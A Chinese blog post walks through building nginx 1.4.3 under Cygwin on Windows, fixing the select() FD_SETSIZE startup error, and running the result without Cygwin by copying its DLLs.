Nginx介绍:nginx("engine x") 是一个高性能的 HTTP 和反向代理 服务器,也是一个 IMAP/POP3/SMTP 代理服务器。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的,它已经在该站点运行超过两年半了。Igor 将源代码以类BSD许可证的形式发布。尽管还是测试版,但是,Nginx 已经因为它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名了。1.cygwin环境安装到http://www.cygwin.com/下载setup.exe安装程序,具体安装过程请到google找吧。这里需要注意的是:一定要安装上openssl、pcre与zlib这三个包,因为nginx部分源码需要用到这三个库。2.nginx编译与构建下载源代码包并打开cygwin环境,进入到源码存放地址,解压源码包gzip -d nginx-1.4.3.tar.gz得到nginx-1.4.3.tartar xvf nginx-1.4.3.tar得到新目录nginx-1.4.3cd进去,然后执行./configure --prefix=./nginx可以得到Makefile文件与objs子目录下的多个文件;再执行make命令,这时cd进 去objs子目录,然后ls一下,看到有nginx.exe文件,这就是编译构建后生成的nginx程序,接下来就可以安装导出了。3.安装在环境下cd到源码主目录,执行make install这样就可以把可执行导出到和主目录同级的nginx目录里了,这个目录是刚才执行编译configure时指定的(--prefix= ./nginx)4.运行在环境下cd到nginx/sbin目录,运行nginx.exe正常来说,控制台会回显一条错误信息运行错误: [emerg] 2496#0: the maximum number of files supported by select() is 64这表示FD_SETSIZE的值比nginx配置文件中worker_connections指令所指定的值小,那么怎么解决这个问题呢?第一种解决方法:把ngx_select_module事件处理模块去掉,通过在执行configure时指定参数—without-select_module。第二种解决方法:修改nginx的配置文件(conf/nginx.conf),把这个文件第13行的1024改为64(worker_connections指令的值)。第三种解决方法:在执行configure时指定额外的编译选项(--with-cc-opt=”-D FD_SETSIZE=2048”),这同样也可以解决上面的问题。后记:利用上面方法生成的nginx程序,需要依赖cygwin环境才能运行,那么有什么方法可以不用cygwin环境也能让nginx在Windows下独立运行呢?当前我想到的有两种方法:第1种:首先改变执行configure时指定的—prefix=/cygdrive/c/nginx参数为—prefix=.,同时还加上—sbin-path=nginx这个参数,也就是make install时把nginx安装到c:\nginx-\目录下,nginx运行时从当前目录的conf子目录读取配置、写日志到logs子目录。接下来执行configure、make与make install。然后把nginx运行时所需要用到的DLL找出来,我发现有这几个:cygcrypt-0.dll、cygpcre-0.dll、cygwin1.dll和cygz.dll(这些文件都在cygwin安装目录的bin子目录下);如果启用ssl的话,应该还需要cygssl-.dll和cygcrypto-0.9.8.dll,这个我没有实践过,大家可以试试。接下来把cygcrypt-0.dll、cygpcre-0.dll、cygwin1.dll和cygz.dll拷贝到安装主目录下,同时在该目录下创建logs子目录。最后就可以直接双击nginx.exe来运行nginx了。这时打开浏览器,输入地址:http://127.0.0.1/,如果能看到有“Welcome to nginx!”显示出来就表示nginx已经在运行,如果没有的话就打开logs子目录下的error.log文件,看看到底发生了什么错误。第2种:编译时指定-mno-cygwin选项,这可以生成不需要其它DLL的nginx.exe文件,不过我还没试成功,具体原因也还没找到,如果你试成功了要告诉我一声哟!这两种方法都有一个缺点:虽然nginx已经能独立运行了,但要关闭它,还需要打开cygwin环境,然后ps找到nginx主进程的进程ID,kill掉它;当然也可以用任务管理器强制关闭。不过据我了解在cygwin环境下可以把一个程序编译成Windows服务的,具体怎么做的话要再找找咯!
2020年03月12日
84 阅读
0 评论
0 点赞